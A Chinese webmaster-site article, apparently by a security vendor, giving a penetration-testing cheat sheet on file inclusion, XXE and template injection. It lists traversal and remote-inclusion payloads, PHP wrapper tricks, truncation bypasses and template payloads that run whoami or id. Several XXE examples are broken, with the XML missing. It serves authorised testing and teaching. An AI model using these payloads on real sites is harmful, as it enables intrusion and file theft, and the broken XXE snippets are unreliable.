当前位置:首页 >  站长 >  建站经验 >  正文

网站渗透测试 对文件包含注入检测办法

 2019-10-11 10:10  来源:A5用户投稿  我来投稿   websafe的个人主页 撤稿纠错

  短视频,自媒体,达人种草一站服务

昨天给大家普及到了渗透测试中执行命令漏洞的检测方法,今天抽出时间由我们Sine安全的渗透工程师来讲下遇到文件包含漏洞以及模板注入漏洞的检测方法和防御手段,本文仅参考给有授权渗透测试的正规安全检测的客户,让更多的客户了解到具体测试的内容,是如何进行全面的网站安全测试。

3.8. 文件包含

3.8.1. 基础

常见的文件包含漏洞的形式为

考虑常用的几种包含方式为

同目录包含 file=.htaccess

目录遍历 ?file=../../../../../../../../../var/lib/locate.db

日志注入 ?file=../../../../../../../../../var/log/apache/error.log

利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

3.8.2. 绕过技巧

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

3.8.2.1. url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

3.8.2.2. 特殊字符绕过

某些情况下,读文件支持使用Shell通配符,如 ? * 等

url中 使用 ? # 可能会影响include包含的结果

某些情况下,unicode编码不同但是字形相近的字符有同一个效果

3.8.2.3. %00截断

几乎是最常用的方法,条件是magic_quotes_gpc打开,而且php版本小于5.3.4。

3.8.2.4. 长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。

msdn定义“`#define MAX_PATH 260“`,第260个字符为字符串结尾的“`0“`

linux可以用getconf来判断文件名长度限制和文件路径长度限制

获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255

那么在长度有限的时候,`././././` (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

3.8.2.5. 伪协议绕过

远程包含: 要求 allow_url_fopen=On and allow_url_include=On , payload为 ?file=[http|https|ftp]://域名/shell.txt

PHP INPUT: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input

: 使用伪协议读取文件,payload为 ?file=php://filter/convert.-encode/resource=index.php

DATA: 使用data伪协议读取文件,payload为 ?file=data://text/plain;,SSBsb3ZlIFBIUAo= 要求 allow_url_include=On

3.9. XXE

3.9.1. XML基础

XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。

3.9.2. XXE

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。

3.9.3. 攻击方式

3.9.3.1. 拒绝服务攻击

]>

&a2;

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

3.9.3.2. 文件读取

]>

&file;

3.9.3.3. SSRF

]>

4

3.9.3.4. RCE

]>

&xxe;

3.9.3.5. XInclude

3.10 模板注入漏洞

3.10. 模版注入

3.10.1. 简介

模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。

3.10.2. 测试方法

确定使用的引擎

查看引擎相关的文档,确定其安全机制以及自带的函数和变量

需找攻击面,尝试攻击

3.10.3. 测试用例

简单的数学表达式,{{ 7+7 }} => 14

字符串表达式 {{ "ajin" }} => ajin

Ruby

Java

${7*7}

Twig

{{7*7}}

Smarty

{php}echo `id`;{/php}

AngularJS

$eval('1+1')

Tornado

引用模块 {% import module %}

=> {% import os %}{{ os.popen("whoami").read() }}

Flask/Jinja2

{{ config.items() }}

{{''.__class__.__mro__[-1].__subclasses__()}}

Django

{{ request }}

{% debug %}

{% load module %}

{% include "x.html" %}

{% extends "x.html" %}

3.10.4. 目标

创建对象

文件读写

远程文件包含

信息泄漏 提权

3.10.5. 相关属性

3.10.5.1. __class__

python中的新式类(即显示继承object对象的类)都有一个属性 __class__ 用于获取当前实例对应的类,例如 "".__class__ 就可以获取到字符串实例对应的类

3.10.5.2. __mro__

python中类对象的 __mro__ 属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。

3.10.5.3. __globals__

保存了函数所有的所有全局变量,在利用中,可以使用 __init__ 获取对象的函数,并通过 __globals__ 获取 file os 等模块以进行下一步的利用

3.10.5.4. __subclasses__()

python的新式类都保留了它所有的子类的引用,__subclasses__() 这个方法返回了类的所有存活的子类的引用(是类对象引用,不是实例)。

因为python中的类都是继承object的,所以只要调用object类对象的 __subclasses__() 方法就可以获取想要的类的对象。这一节渗透测试讲到的这些内容和绕过手法,如果对自己网站不太放心的话可以找专业的网站安全公司来处理解决,国内做的比较好的如Sinesafe,绿盟,启明星辰等等。

作者: websafe    /    文章:75篇

申请创业报道,分享创业好点子。点击此处,共同探讨创业新机遇!

相关文章

  • 网站命令执行渗透测试步骤详情

    哈喽大家好,近期我们Sine安全对客户平台进行渗透测试的时候,发现有一些命令执行的漏洞测试语句和函数,导致服务器被提权被入侵,上一节提到XSS跨站脚本攻击检测方法,本章来总和一下脚本执行命令的详细检测手段,以及绕过waf的办法,只有这样详细的对平台进行安全测试才能保障整个平台安全稳定。

  • 渗透测试中遇到的越权漏洞该如何解决

    对存在权限验证的页面进行安全效验,效验网站APP前端获取到的参数,ID,账户密码,返回也需要效验。对于修改,添加等功能进行当前权限判断,验证所属用户,使用seesion来安全效验用户的操作权限,get,post数据只允许输入指定的信息。

  • 渗透测试XSS跨站攻击检测手法

    国庆假期结束,这一节准备XSS跨站攻击渗透测试中的利用点,上一节讲了SQL注入攻击的详细流程,很多朋友想要咨询具体在跨站攻击上是如何实现和利用的,那么我们Sinesafe渗透测试工程师为大家详细的讲讲这个XSS是如何实现以及原理。

  • 渗透测试对网站注入攻击方法剖析

    国庆即将到来,前一期讲到获取网站信息判断所属环境以及各个端口的用处和弱口令密码利用方法,这期仍有很多客户找到我们Sine安全想要了解针对于SQL注入攻击的测试方法,这一期我们来讲解下注入的攻击分类和使用手法,让客户明白漏洞是如何产生的,会给网站安全带来怎样的影响!

  • 实战渗透测试判断网站信息内容讲解

    上一节讲到渗透测试中的代码审计讲解,对整个代码的函数分析以及危险语句的避让操作,近期很多客户找我们Sine安全想要了解如何获取到网站的具体信息,以及我们整个渗透工作的流程,因为这些操作都是通过实战累计下来的竟然,渗透测试是对网站检查安全性以及稳定性的一个预防针,前提是必须要有客户的授权才能做这些操作

  • 哪些类型的网站不适合使用虚拟主机?

    在如今的很多站长进行建站时,可能都会考虑选择虚拟主机。虚拟主机对比传统服务器,具有一定的优势,如操作简单、性价比也更高等特点,但也不可否认的是,虚拟主机在某些方面也具有较大的局限性,这也意味着并不是每一种网站都适合使用虚拟主机。今天与大家分享一些不适合使用虚拟主机的网站类型

    标签:
    虚拟主机
  • 网站安全防止被黑客攻击的办法

    从今年3月份全世界黑客攻击网站分析局势来看,黑客攻击的网站中中国占有了绝大多数。那麼作为一个公司或是开发公司,如何防止自身的网站黑客攻击,从企业网站建设之初,就应当搞好这种安全对策,当你的网站保证以下几个方面都做好了的话,相对性是较为安全的。

  • 一个小白影视站长的成长推广经历

    视频网站及抖音快手推广,可以通过视频剪辑的方式上传一些视频,到酷6,土豆,优酷,抖音,快手,上传视频都印上网站的LOGO或导入公众号。通过这样的方式也会为网站带来不少流量。

  • 电商时代,企业搭建商城系统的优势有哪些

    通过网上商城,消费者足不出户,即可轻松享受从产品咨询、下单、付款到收货的一站式客户体验。为了增强电商平台的互动性,独立商城系统还可以提供在线咨询、电话咨询与网络留言三种互动途径,消费者可以自由选择适合自己的方式与专职客服人员进行交流,互动性得到了显著提高。

    标签:
    商城系统
  • 建站CMS系统:织梦dedeCms、PageAdmin、帝国优缺点比较

    之前一直使用dedeCms建站的,时间也算很长了,但是最近我们公司用dede做的网站被频繁被挂马,网上已经找不到解决方法,客户天天投诉,dedecms从原创团队解散后,几年了基本没有什么更新和维护,没有办法只能重新寻找新的cms改版。

  • 痛定思痛!Shopify大规模封店给我们跨境卖家的启示

    就在昨天中午,毫无预兆的情况下,我们的Shopify店铺无法打开了,只显示wewillcomingsoon的提示。随后我们在一个群里也发现很多人跟我们一样遭遇,同样是没收到邮件通知,也没有任何先兆。

    标签:
    自助建站系统
  • 为什么在建站时最好选择独立IP的服务器

    企业网站在建设时,有一部分站长会为了让网站做的更加出彩选择在服务器方面压缩成本,所以会拒绝使用独立服务器,转而选择一些较为经济的空间。这其实是一种错误的做法,服务器是网站运营的根本,即使在网站设计方面节约一些成本,也一定要选择一个好的服务器,否贼会给网站日后的运营带来很多麻烦,省下的成本也许会在日后

    标签:
    独立IP主机
  • 在进行网站建设时 如何选择合适的服务器

    随着互联网带给传统行业的冲击越来越大,有很多企业都不得不选择通过搭建网站来保证自身的收益,但网站的搭建也并不是一件简单的事情,如果网站不能给用户带来很好的体验,那么可能就无法为企业带来正面的效果,反而会白白浪费运营网站的成本。

  • 谈谈分销系统那些事

    分销系统是新兴事物,有些老板对于分销系统这个行业的知识了解比较少,就会造成在选择分销系统公司时,有一些考虑不周全的地方,可以说有不少老板做分销系统的历程可谓是千辛万苦,不知道什么时候就出现了超出自己想象的麻烦。

    标签:
    分销系统
  • 建站指南丨如何低成本建设自己的网站?

    说起SugarHosts,是欧洲的老牌主机商了,提供虚拟主机、VPS、云主机、域名等业务,其中香港、洛杉矶中美极速数据中心的虚拟主机,是非常适合国内用户使用,免备案即开即用,网络优化很好,网速快延迟也低。总体来看Pro方案,性价比极高,强烈推荐,免费赠送SSL证书、独立IP,大大提高了网站实用性,关

榜单

热门排行

信息推荐

扫一扫关注最新创业资讯